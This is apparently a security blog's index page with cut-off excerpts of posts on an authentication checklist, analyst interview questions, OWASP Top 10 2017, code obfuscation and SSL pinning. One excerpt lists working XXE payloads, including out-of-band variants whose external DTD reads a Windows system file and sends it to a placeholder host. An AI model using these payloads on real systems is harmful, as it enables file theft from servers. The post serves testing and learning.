Just A N00B Thinking

Safety Checklist Authority System (Registration/Registration/Secondary Verification/Password Reset) Use HTTPS everywhere. Use Bcrypt to store password hash (necessary to use salt - this is what Bcrypt does). Destroy the session ID after logging out. Destroy all active sessions after password reset. OAuth2 authentication must include the state parameter. After the login is successful, it cannot be directly redirected to the open path (need to check, otherwise it is easy to have a phishing attack). Parses javascript://, data://, and other CRLF characters when parsing user login/login input. Use secure/httpOnly cookies. When OTP authentication is used on the mobile device, OTP (One Time Password) cannot be returned directly when the generate OTP or Resend OTP API is invoked. (usually by sending a mobile phone to verify SMS, mailbox random code, etc., instead of direct response) Limit the number of API calls such as Login, Verify OTP, Resend OTP, and generate OTP for i

Cyber Security is an exotic field, and every next person wants to explore this domain and make a career in it, but the problem is they have no idea how to get in and even if they do, They don't have any idea on what type of questions they might face in an interview. Recently  @Miss_Malware  asked for everyone's favorites security analyst and DFIR interview question that gave me an idea to compile a list of questions which are asked in every interview one way or another. What follows is a list of questions which you may face in an interview. Note: All These questions have compiled with the help of @Miss_Malware's twitter thread, contribution from friends and very intelligent internet searches :P, All the relevant sources (Read those I remember) have been mentioned at end of the post. GENERAL What is DNS? Differentiate between TCP and UDP? How does HTTP handle state? Does TLS use symmetric or asymmetric encryption? What is "Risk"? What is "Risk

Vanilla, used to verify outbound xxe or blind xxe <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> OoB extraction <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> External dtd: <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> OoB variation of above (seems to work better against .NET) <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> External dtd: <!ENTITY % data SYSTEM "file:///c:/win

The Open Web Application Security Project (OWASP) officially released its Top 10 most critical web application security risks. This is the first time the organization has updated the Top 10 since 2013. “Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We’ve completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, rewritten each risk from the ground up, and added references to frameworks and languages that are now commonly used,” the OWASP wrote in the Top 10 2017. According to the OWASP, some significant changes over the past couple of years that resulted in an update to the Top 10 include micro-services, single page apps, and the dominance of JavaScript as a primary language on the web. What are the Changes In 2017 SQL injection stays at the top followed by Broken Authentication. Insecure Direct Object References and Missing Function Leve

When it comes to security of an application, Source code piracy is one of the major concerns. If your source code is available to hackers, it means you are totally screwed. Hackers can then easily bypass your applied security controls, re-build application with malicious code snippets and also misuse the business logic used in the application. Obfuscation is the process of renaming the meta-data in an Assembly so that it is no longer useful to a hacker, but remains usable to the machine for executing the intended operations. It does not modify the actual instructions or mask them from observation by a hacker. Reverse engineering of your proprietary applications by unfair competition or malicious hackers may result in highly undesirable exposure of your algorithms and ideas, proprietary data formats, licensing and security mechanisms, and, most importantly, your customers' data. Getting into more details about Code Obfuscation as given below. Name Obfuscation: Na

What is SSL pinning? Why do we need SSL pinning in mobile applications? How to do it? SSL pinning means hard-coding the certificate known to be used by the server in the mobile application. The app can then ignore the device’s trust store and rely on its own, and allow only SSL connections to hosts signed with certificates stored inside the application. This also gives a possibility of trusting a host with a self-signed certificate without the need to install additional certificates on the device.  SSL Pinning on Android: Simplest Way PROS of Certificate Pinning: Increased security  - with pinned SSL certificates, the app is independent of the device’s trust store. Compromising the hard coded trust store in the app is not so easy - the app would need to be decompiled, changed and then recompiled again - and it can’t be signed using the same Android keystore that the original developer of the app used. Reduced costs  - SSL certificate pinning gives you the possibilit